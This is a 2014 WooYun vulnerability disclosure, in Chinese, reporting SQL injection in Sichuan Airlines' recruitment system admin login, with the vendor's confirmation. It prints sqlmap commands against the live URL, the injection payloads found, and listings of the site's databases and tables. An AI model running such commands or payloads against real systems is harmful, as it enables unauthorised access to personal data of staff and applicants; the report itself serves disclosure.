当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084829

漏洞标题:四川航空某系统sql注入

相关厂商:四川航空

漏洞作者: 玉林嘎

提交时间:2014-11-26 18:17

修复时间:2015-01-10 18:18

公开时间:2015-01-10 18:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-26: 细节已通知厂商并且等待厂商处理中
2014-12-01: 厂商已经确认,细节仅向厂商公开
2014-12-11: 细节向核心白帽子及相关领域专家公开
2014-12-21: 细节向普通白帽子公开
2014-12-31: 细节向实习白帽子公开
2015-01-10: 细节向公众公开

简要描述:

.

详细说明:

http://www.scal.com.cn/invite2011/admin/default.aspx
主站下的 招聘系统
登陆框存在注入
sqlmap -u "http://www.scal.com.cn/invite2011/admin/default.aspx" --data "__VIEWSTATE=%2FwEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA%3D%3D&__EVENTVALIDATION=%2FwEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm%2B&txtUserName=test&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95" -p "txtUserName"

[*] starting at 17:56:22
[17:56:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:56:22] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txtUserName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA==&__EVENTVALIDATION=/wEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm+&txtUserName=test' AND 7597=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(108)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (7597=7597) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(111)+CHAR(100)+CHAR(113))) AND 'oJlM'='oJlM&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: __VIEWSTATE=/wEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA==&__EVENTVALIDATION=/wEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm+&txtUserName=test' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(108)+CHAR(102)+CHAR(113)+CHAR(67)+CHAR(77)+CHAR(66)+CHAR(117)+CHAR(73)+CHAR(84)+CHAR(73)+CHAR(114)+CHAR(103)+CHAR(106)+CHAR(113)+CHAR(100)+CHAR(111)+CHAR(100)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95
---
[17:56:22] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


sqlmap -u "http://www.scal.com.cn/invite2011/admin/default.aspx" --data "__VIEWSTATE=%2FwEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA%3D%3D&__EVENTVALIDATION=%2FwEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm%2B&txtUserName=test&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95" -p "txtUserName" --dbs

available databases [24]:                                                      
[*] Invite2011
[*] master
[*] model
[*] msdb
[*] SCAL3_B2C
[*] SCAL3_Card
[*] SCAL3_Familiar
[*] SCAL3_Hotel
[*] SCAL3_InsuranceNew
[*] SCAL3_Itinerary
[*] SCAL3_Log
[*] SCAL3_Mall
[*] SCAL3_Member
[*] SCAL3_Message
[*] SCAL3_MinPrice
[*] SCAL3_News
[*] SCAL3_Order
[*] SCAL3_Pay
[*] SCAL3_Preferential
[*] SCAL3_SaleRule
[*] SCAL3_SessionService
[*] SCAL3_SOA
[*] SCAL3_System
[*] tempdb


看的到主站其他数据库 但是权限太死了
sqlmap -u "http://www.scal.com.cn/invite2011/admin/default.aspx" --data "__VIEWSTATE=%2FwEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA%3D%3D&__EVENTVALIDATION=%2FwEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm%2B&txtUserName=test&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95" -p "txtUserName" -D Invite2011 --tables

Database: Invite2011                                                           
[10 tables]
+-----------------------+
| sysdiagrams |
| t_InviteEducation_bak |
| t_InviteEducation_bak |
| t_InviteFamily_bak |
| t_InviteFamily_bak |
| t_InviteWork_bak |
| t_InviteWork_bak |
| t_Invite_bak |
| t_Invite_bak |
| t_User |
+-----------------------+


5.jpg


不知道加密是什么方式 故进不了后台 感觉进了后台 可以深入一下

漏洞证明:

存在很多员工 招聘信息

1.jpg


2.jpg


3.jpg


4.jpg

修复方案:

过滤

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-12-01 11:34

厂商回复:

最新状态:

暂无